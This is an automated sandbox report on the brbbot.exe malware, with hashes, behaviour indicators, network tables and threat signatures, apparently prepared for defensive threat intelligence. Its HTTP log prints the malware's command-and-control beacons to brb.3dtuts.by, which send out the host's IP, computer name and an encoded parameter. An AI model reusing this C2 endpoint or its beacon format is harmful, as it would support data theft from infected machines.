File name:

brbbot.exe

Full analysis: https://app.any.run/tasks/dbad3115-b1e1-4fe0-9a7e-34bff26601f5
Verdict: Malicious activity
Analysis date: November 01, 2024, 08:25:16
OS: Windows 10 Professional (build: 19045, 64 bit)
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32+ executable (GUI) x86-64, for MS Windows, 6 sections
MD5:

1C7243C8F3586B799A5F9A2E4200AA92

SHA1:

4DB5A8E237937B6D7B435A8506B8584121A7E9E3

SHA256:

F47060D0F7DE5EE651878EB18DD2D24B5003BDB03EF4F49879F448F05034A21E

SSDEEP:

1536:b6sMD3H8V3jsUnHLiREsTbDV/48OO4vh47483gLi9+LSGP:b6srVzJiRrTHVORe75g4+LSW

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Connects to the CnC server

      • brbbot.exe (PID: 6608)
  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • brbbot.exe (PID: 6608)
    • Reads security settings of Internet Explorer

      • brbbot.exe (PID: 6608)
    • Contacting a server suspected of hosting an CnC

      • brbbot.exe (PID: 6608)
  • INFO

    • Checks supported languages

      • brbbot.exe (PID: 6608)
    • Creates files or folders in the user directory

      • brbbot.exe (PID: 6608)
    • Reads the machine GUID from the registry

      • brbbot.exe (PID: 6608)
    • Reads the computer name

      • brbbot.exe (PID: 6608)
    • Checks proxy server information

      • brbbot.exe (PID: 6608)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (87.3)
.exe | Generic Win/DOS Executable (6.3)
.exe | DOS Executable Generic (6.3)

EXIF

EXE

MachineType: AMD AMD64
TimeStamp: 2015:02:25 06:12:18+00:00
ImageFileCharacteristics: Executable, Large address aware
PEType: PE32+
LinkerVersion: 10
CodeSize: 50176
InitializedDataSize: 35328
UninitializedDataSize: -
EntryPoint: 0x3f94
OSVersion: 5.2
ImageVersion: -
SubsystemVersion: 5.2
Subsystem: Windows GUI
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
124
Monitored processes
1
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start brbbot.exe

Process information

PID
CMD
Path
Indicators
Parent process
6608"C:\Users\admin\Desktop\brbbot.exe" C:\Users\admin\Desktop\brbbot.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Modules
Images
c:\users\admin\desktop\brbbot.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
Total events
476
Read events
476
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
1
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
6608brbbot.exeC:\Users\admin\AppData\Roaming\brbbot.exeexecutable
MD5:1C7243C8F3586B799A5F9A2E4200AA92
SHA256:F47060D0F7DE5EE651878EB18DD2D24B5003BDB03EF4F49879F448F05034A21E
6608brbbot.exeC:\Users\admin\Desktop\brbconfig.tmpbinary
MD5:FEFC78962CFAEE3B2A9472B1357CE648
SHA256:EE20EC1F9A574280270C0045CAA6EDA5B35B35D131E7A45DB7D0AFDAEF131E08
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
29
DNS requests
9
Threats
7

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
6944
svchost.exe
GET
200
2.16.164.49:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
NL
binary
1.01 Kb
whitelisted
5488
MoUsoCoreWorker.exe
GET
200
2.16.164.49:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
NL
binary
1.01 Kb
whitelisted
6608
brbbot.exe
GET
403
185.84.108.232:80
http://brb.3dtuts.by/ads.php?i=192.168.100.126&c=DESKTOP-JGLLJLD&p=123f373e600822282f3e3660093e3c32282f29226028362828753e233e603828292828753e233e602c32353235322f753e233e603828292828753e233e602c323537343c3435753e233e60283e292d32383e28753e233e6037283a2828753e233e60282d383334282f753e233e603d34352f3f292d3334282f753e233e603d34352f3f292d3334282f753e233e60282d383334282f753e233e60282d383334282f753e233e603f2c36753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60163e363429227b1834362b293e282832343560282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282b343437282d753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60143d3d32383e18373238300f34092e35753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e603f3a281334282f753e233e60282d383334282f753e233e60282d383334282f753e233e6028323334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60382f3d363435753e233e60282d383334282f753e233e603e232b3734293e29753e233e60282d383334282f753e233e60082f3a292f163e352e1e232b3e29323e35383e1334282f753e233e60092e352f32363e192934303e29753e233e60083e3a2938331a2b2b753e233e60092e352f32363e192934303e29753e233e603f37373334282f753e233e60092e352f32363e192934303e29753e233e603f37373334282f753e233e600f3e232f12352b2e2f1334282f753e233e603f37373334282f753e233e60282d383334282f753e233e600822282f3e36083e2f2f32353c28753e233e601a2b2b3732383a2f3234351d293a363e1334282f753e233e600e283e291414191e192934303e29753e233e60282d383334282f753e233e6016340e28341834293e0c3429303e29753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e602e3328282d38753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e600c36320b292d081e753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e602e2b3d38753e233e60162e2815342f323d32383a2f323435753e233e600e28341837323e352f753e233e602f3a28303334282f2c753e233e603f3e3d3a2e372f763929342c283e29763a3c3e352f753e233e60282b2b282d38753e233e603d32293e3d3423753e233e603d32293e3d3423753e233e60282d383334282f753e233e6039293939342f753e233e
RU
html
1.55 Kb
malicious
5488
MoUsoCoreWorker.exe
GET
200
23.32.185.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
BR
binary
973 b
whitelisted
6944
svchost.exe
GET
200
23.32.185.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
BR
binary
973 b
whitelisted
6608
brbbot.exe
GET
403
185.84.108.232:80
http://brb.3dtuts.by/ads.php?i=192.168.100.126&c=DESKTOP-JGLLJLD&p=123f373e600822282f3e3660093e3c32282f29226028362828753e233e603828292828753e233e602c32353235322f753e233e603828292828753e233e602c323537343c3435753e233e60283e292d32383e28753e233e6037283a2828753e233e60282d383334282f753e233e603d34352f3f292d3334282f753e233e603d34352f3f292d3334282f753e233e60282d383334282f753e233e60282d383334282f753e233e603f2c36753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60163e363429227b1834362b293e282832343560282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282b343437282d753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60143d3d32383e18373238300f34092e35753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e603f3a281334282f753e233e60282d383334282f753e233e60282d383334282f753e233e6028323334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60382f3d363435753e233e60282d383334282f753e233e603e232b3734293e29753e233e60282d383334282f753e233e60082f3a292f163e352e1e232b3e29323e35383e1334282f753e233e60092e352f32363e192934303e29753e233e60083e3a2938331a2b2b753e233e60092e352f32363e192934303e29753e233e603f37373334282f753e233e60092e352f32363e192934303e29753e233e603f37373334282f753e233e600f3e232f12352b2e2f1334282f753e233e603f37373334282f753e233e60282d383334282f753e233e600822282f3e36083e2f2f32353c28753e233e601a2b2b3732383a2f3234351d293a363e1334282f753e233e600e283e291414191e192934303e29753e233e60282d383334282f753e233e6016340e28341834293e0c3429303e29753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e602e3328282d38753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e600c36320b292d081e753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e602e2b3d38753e233e602f3a28303334282f2c753e233e60282b2b282d38753e233e60282d383334282f753e233e6039293939342f753e233e600c3a3a08163e3f32381a3c3e352f753e233e603834353334282f753e233e60282d383334282f753e233e
RU
html
1.55 Kb
malicious
6608
brbbot.exe
GET
403
185.84.108.232:80
http://brb.3dtuts.by/ads.php?i=192.168.100.126&c=DESKTOP-JGLLJLD&p=123f373e600822282f3e3660093e3c32282f29226028362828753e233e603828292828753e233e602c32353235322f753e233e603828292828753e233e602c323537343c3435753e233e60283e292d32383e28753e233e6037283a2828753e233e60282d383334282f753e233e603d34352f3f292d3334282f753e233e603d34352f3f292d3334282f753e233e60282d383334282f753e233e60282d383334282f753e233e603f2c36753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60163e363429227b1834362b293e282832343560282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282b343437282d753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60143d3d32383e18373238300f34092e35753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e6028323334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60382f3d363435753e233e60282d383334282f753e233e603e232b3734293e29753e233e60282d383334282f753e233e60082f3a292f163e352e1e232b3e29323e35383e1334282f753e233e60092e352f32363e192934303e29753e233e60083e3a2938331a2b2b753e233e60092e352f32363e192934303e29753e233e603f37373334282f753e233e60092e352f32363e192934303e29753e233e603f37373334282f753e233e600f3e232f12352b2e2f1334282f753e233e603f37373334282f753e233e60282d383334282f753e233e600822282f3e36083e2f2f32353c28753e233e601a2b2b3732383a2f3234351d293a363e1334282f753e233e600e283e291414191e192934303e29753e233e60282d383334282f753e233e6016340e28341834293e0c3429303e29753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e602e3328282d38753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e602e2b3d38753e233e60282d383334282f753e233e6039293939342f753e233e60282d383334282f753e233e
RU
html
1.55 Kb
malicious
6608
brbbot.exe
GET
403
185.84.108.232:80
http://brb.3dtuts.by/ads.php?i=192.168.100.126&c=DESKTOP-JGLLJLD&p=123f373e600822282f3e3660093e3c32282f29226028362828753e233e603828292828753e233e602c32353235322f753e233e603828292828753e233e602c323537343c3435753e233e60283e292d32383e28753e233e6037283a2828753e233e60282d383334282f753e233e603d34352f3f292d3334282f753e233e603d34352f3f292d3334282f753e233e60282d383334282f753e233e60282d383334282f753e233e603f2c36753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60163e363429227b1834362b293e282832343560282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282b343437282d753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60143d3d32383e18373238300f34092e35753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e6028323334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60382f3d363435753e233e60282d383334282f753e233e603e232b3734293e29753e233e60282d383334282f753e233e60082f3a292f163e352e1e232b3e29323e35383e1334282f753e233e60092e352f32363e192934303e29753e233e60083e3a2938331a2b2b753e233e60092e352f32363e192934303e29753e233e603f37373334282f753e233e60092e352f32363e192934303e29753e233e603f37373334282f753e233e600f3e232f12352b2e2f1334282f753e233e603f37373334282f753e233e60282d383334282f753e233e600822282f3e36083e2f2f32353c28753e233e601a2b2b3732383a2f3234351d293a363e1334282f753e233e600e283e291414191e192934303e29753e233e60282d383334282f753e233e6016340e28341834293e0c3429303e29753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e602e3328282d38753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e602e2b3d38753e233e60282d383334282f753e233e6039293939342f753e233e60282d383334282f753e233e
RU
html
1.55 Kb
malicious
6608
brbbot.exe
GET
403
185.84.108.232:80
http://brb.3dtuts.by/ads.php?i=192.168.100.126&c=DESKTOP-JGLLJLD&p=123f373e600822282f3e3660093e3c32282f29226028362828753e233e603828292828753e233e602c32353235322f753e233e603828292828753e233e602c323537343c3435753e233e60283e292d32383e28753e233e6037283a2828753e233e60282d383334282f753e233e603d34352f3f292d3334282f753e233e603d34352f3f292d3334282f753e233e60282d383334282f753e233e60282d383334282f753e233e603f2c36753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60163e363429227b1834362b293e282832343560282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282b343437282d753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60143d3d32383e18373238300f34092e35753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e603f3a281334282f753e233e60282d383334282f753e233e60282d383334282f753e233e6028323334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60382f3d363435753e233e60282d383334282f753e233e603e232b3734293e29753e233e60282d383334282f753e233e60082f3a292f163e352e1e232b3e29323e35383e1334282f753e233e60092e352f32363e192934303e29753e233e60083e3a2938331a2b2b753e233e60092e352f32363e192934303e29753e233e603f37373334282f753e233e60092e352f32363e192934303e29753e233e603f37373334282f753e233e600f3e232f12352b2e2f1334282f753e233e603f37373334282f753e233e60282d383334282f753e233e600822282f3e36083e2f2f32353c28753e233e601a2b2b3732383a2f3234351d293a363e1334282f753e233e600e283e291414191e192934303e29753e233e60282d383334282f753e233e6016340e28341834293e0c3429303e29753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e602e3328282d38753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e600c36320b292d081e753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e602e2b3d38753e233e60282d383334282f753e233e6039293939342f753e233e60282d383334282f753e233e60282b2b282d38753e233e
RU
html
1.55 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
6944
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:137
whitelisted
5488
MoUsoCoreWorker.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
2.23.209.158:443
www.bing.com
Akamai International B.V.
GB
whitelisted
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:138
whitelisted
6608
brbbot.exe
185.84.108.232:80
brb.3dtuts.by
Hosting Ltd
RU
malicious
6944
svchost.exe
2.16.164.49:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
5488
MoUsoCoreWorker.exe
2.16.164.49:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
6944
svchost.exe
23.32.185.131:80
www.microsoft.com
AKAMAI-AS
BR
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.124.78.146
  • 40.127.240.158
  • 51.104.136.2
whitelisted
www.bing.com
  • 2.23.209.158
  • 2.23.209.160
  • 2.23.209.143
  • 2.23.209.161
  • 2.23.209.154
  • 2.23.209.150
  • 2.23.209.156
  • 2.23.209.144
  • 2.23.209.149
whitelisted
google.com
  • 142.250.186.46
whitelisted
brb.3dtuts.by
  • 185.84.108.232
malicious
crl.microsoft.com
  • 2.16.164.49
  • 2.16.164.9
whitelisted
www.microsoft.com
  • 23.32.185.131
whitelisted
self.events.data.microsoft.com
  • 20.42.65.90
whitelisted

Threats

PID
Process
Class
Message
6608
brbbot.exe
Misc activity
SUSPICIOUS [ANY.RUN] Sent Host Name in HTTP POST Body
6608
brbbot.exe
Misc activity
SUSPICIOUS [ANY.RUN] Sent Host Name in HTTP POST Body
5 ETPRO signatures available at the full report
No debug info